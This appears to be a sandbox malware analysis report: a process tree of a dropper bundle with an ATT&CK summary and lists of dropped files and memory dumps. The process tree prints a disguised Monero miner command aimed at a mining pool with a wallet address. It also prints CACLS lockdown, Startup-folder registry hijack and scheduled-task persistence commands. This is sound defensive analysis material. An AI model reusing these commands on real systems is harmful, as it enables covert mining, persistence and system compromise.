C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3884 -s 3687⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 46⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe"C:\Users\Admin\AppData\Local\Temp\9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22c43f341061dca4d.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22c43f341061dca4d.exeSun22c43f341061dca4d.exe4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun228486f7be6.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun228486f7be6.exeSun228486f7be6.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun2216587aee7.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun2216587aee7.exeSun2216587aee7.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2636 -s 4525⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22f4040a979.exe3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22f4040a979.exeSun22f4040a979.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 688 -s 3405⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun226f37c2c0b90e.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun226f37c2c0b90e.exeSun226f37c2c0b90e.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun226f37c2c0b90e.exeC:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun226f37c2c0b90e.exe5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun226f37c2c0b90e.exeC:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun226f37c2c0b90e.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"7⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E6⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"7⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E6⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exeC:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe7⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\8⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\9⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /F8⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun2289c52a99356.exe /mixtwo3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun2289c52a99356.exeSun2289c52a99356.exe /mixtwo4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22e7121e60939.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22e7121e60939.exeSun22e7121e60939.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22e7121e60939.exeC:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22e7121e60939.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22d4560747372f.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22d4560747372f.exeSun22d4560747372f.exe4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun228fdf84a6a5d115.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun228fdf84a6a5d115.exeSun228fdf84a6a5d115.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun228fdf84a6a5d115.exe"C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun228fdf84a6a5d115.exe" -u5⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22faaf3f749d.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22faaf3f749d.exeSun22faaf3f749d.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-VAQHB.tmp\Sun22faaf3f749d.tmp"C:\Users\Admin\AppData\Local\Temp\is-VAQHB.tmp\Sun22faaf3f749d.tmp" /SL5="$1D0258,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22faaf3f749d.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22faaf3f749d.exe"C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22faaf3f749d.exe" /SILENT6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-498BI.tmp\Sun22faaf3f749d.tmp"C:\Users\Admin\AppData\Local\Temp\is-498BI.tmp\Sun22faaf3f749d.tmp" /SL5="$13007A,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22faaf3f749d.exe" /SILENT7⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sun22ee28bf6d72.exe3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0729A198\Sun22ee28bf6d72.exeSun22ee28bf6d72.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 688 -ip 6881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 476 -ip 4761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 5484 -ip 54841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2636 -ip 26361⤵
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exeC:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exeC:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 528 -p 2660 -ip 26601⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 668 -p 1584 -ip 15841⤵
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exeC:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe2⤵
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 668 -p 3696 -ip 36961⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 620 -p 2884 -ip 28841⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 724 -p 992 -ip 9921⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 392 -p 3108 -ip 31081⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 556 -p 700 -ip 7001⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 700 -p 1092 -ip 10921⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 816 -p 1460 -ip 14601⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 584 -p 3728 -ip 37281⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Debugger Evasion
1Impair Defenses
1Disable or Modify Tools
1Modify Registry
1System Binary Proxy Execution
1Odbcconf
1Virtualization/Sandbox Evasion
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
Sun22149485b9.exe
Sun2216587aee7.exe
Sun2218a5ea839f51.exe
Sun221c4095c3d.exe
Sun22245ae1a7a6.exe
Sun2229824092cc26e73.exe
Sun223a7433a3e97921.exe
Sun226f37c2c0b90e.exe
Sun228486f7be6.exe
Sun2289c52a99356.exe
Sun228fdf84a6a5d115.exe
Sun22be4d7216.exe
Sun22c43f341061dca4d.exe
Sun22d4560747372f.exe
Sun22e7121e60939.exe
Sun22ec1ed5f2.exe
Sun22ecb6a1651c8.exe
Sun22ee28bf6d72.exe
Sun22f4040a979.exe
Sun22faaf3f749d.exe
libcurl.dll
libcurlpp.dll
libgcc_s_dw2-1.dll
libstdc++-6.dll
libwinpthread-1.dll
setup_install.exe
9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe
RaptorMiner.exe
__PSScriptPolicyTest_3uht1pt2.ohs.psm1
idp.dll
Sun22ecb6a1651c8.tmp
idp.dll
Sun22faaf3f749d.tmp
Driver.exe
memory/916-412-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/1140-424-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/1152-305-0x0000000000400000-0x0000000000682000-memory.dmp
memory/1156-264-0x0000000000400000-0x0000000000420000-memory.dmp
memory/1292-127-0x0000000000400000-0x0000000000BF1000-memory.dmp
memory/1292-235-0x0000000000400000-0x0000000000BF1000-memory.dmp
memory/1292-243-0x0000000000400000-0x0000000000BF1000-memory.dmp
memory/1292-126-0x0000000000400000-0x0000000000BF1000-memory.dmp
memory/1368-357-0x0000000000400000-0x000000000043D000-memory.dmp
memory/1496-429-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/1584-414-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/1736-386-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/1776-379-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/1900-354-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/1932-249-0x0000000006010000-0x00000000065CA000-memory.dmp
memory/1932-158-0x0000000000E90000-0x0000000000EF8000-memory.dmp
memory/1932-162-0x0000000005840000-0x00000000058B6000-memory.dmp
memory/1932-171-0x00000000033B0000-0x00000000033CE000-memory.dmp
memory/1948-388-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/1968-345-0x00000000054F0000-0x000000000584B000-memory.dmp
memory/1996-350-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2324-265-0x0000000000400000-0x000000000043D000-memory.dmp
memory/2324-266-0x0000000000400000-0x000000000043D000-memory.dmp
memory/2512-420-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2624-289-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/2624-203-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/2636-247-0x0000000000400000-0x00000000004DE000-memory.dmp
memory/2636-253-0x0000000000400000-0x00000000004DE000-memory.dmp
memory/2660-374-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2804-230-0x0000000000E30000-0x000000000122E000-memory.dmp
memory/2852-395-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2920-399-0x0000000000400000-0x0000000000491000-memory.dmp
memory/2920-398-0x0000000000400000-0x0000000000491000-memory.dmp
memory/2960-344-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2960-341-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2960-342-0x0000000002050000-0x0000000002064000-memory.dmp
memory/2972-400-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3204-376-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3224-396-0x0000000005890000-0x0000000005978000-memory.dmp
memory/3224-192-0x0000000000780000-0x00000000008B4000-memory.dmp
memory/3224-393-0x00000000057F0000-0x000000000588C000-memory.dmp
memory/3224-207-0x0000000005380000-0x000000000538C000-memory.dmp
memory/3224-205-0x0000000005280000-0x0000000005312000-memory.dmp
memory/3408-404-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3424-431-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3456-392-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3696-422-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3848-410-0x0000000007300000-0x00000000073A3000-memory.dmp
memory/3848-407-0x0000000070060000-0x00000000700AC000-memory.dmp
memory/3884-435-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3912-155-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/3912-212-0x0000000000400000-0x00000000004CC000-memory.dmp
memory/3944-240-0x0000000073D60000-0x000000007451C000-memory.dmp
memory/3944-299-0x0000000007930000-0x0000000007FAC000-memory.dmp
memory/3944-125-0x0000000073D60000-0x000000007451C000-memory.dmp
memory/3944-309-0x0000000073D60000-0x000000007451C000-memory.dmp
memory/3944-120-0x0000000005190000-0x00000000057DA000-memory.dmp
memory/3944-107-0x0000000004AB0000-0x0000000004AE6000-memory.dmp
memory/3944-290-0x0000000070060000-0x00000000700AC000-memory.dmp
memory/3944-87-0x0000000073D72000-0x0000000073D73000-memory.dmp
memory/3944-122-0x0000000073D60000-0x000000007451C000-memory.dmp
memory/3944-238-0x0000000073D72000-0x0000000073D73000-memory.dmp
memory/3944-303-0x0000000007350000-0x000000000735A000-memory.dmp
memory/3944-300-0x00000000072F0000-0x000000000730A000-memory.dmp
memory/3944-245-0x0000000073D60000-0x000000007451C000-memory.dmp
memory/3952-363-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/4132-371-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/4180-328-0x0000000000400000-0x000000000043D000-memory.dmp
memory/4180-316-0x0000000000400000-0x000000000043D000-memory.dmp
memory/4212-210-0x0000000000400000-0x00000000007FA000-memory.dmp
memory/4212-202-0x0000000000400000-0x00000000007FA000-memory.dmp
memory/4212-216-0x0000000006500000-0x000000000660A000-memory.dmp
memory/4212-214-0x0000000005EE0000-0x00000000064F8000-memory.dmp
memory/4212-211-0x0000000000400000-0x00000000007FA000-memory.dmp
memory/4212-217-0x0000000006610000-0x000000000664C000-memory.dmp
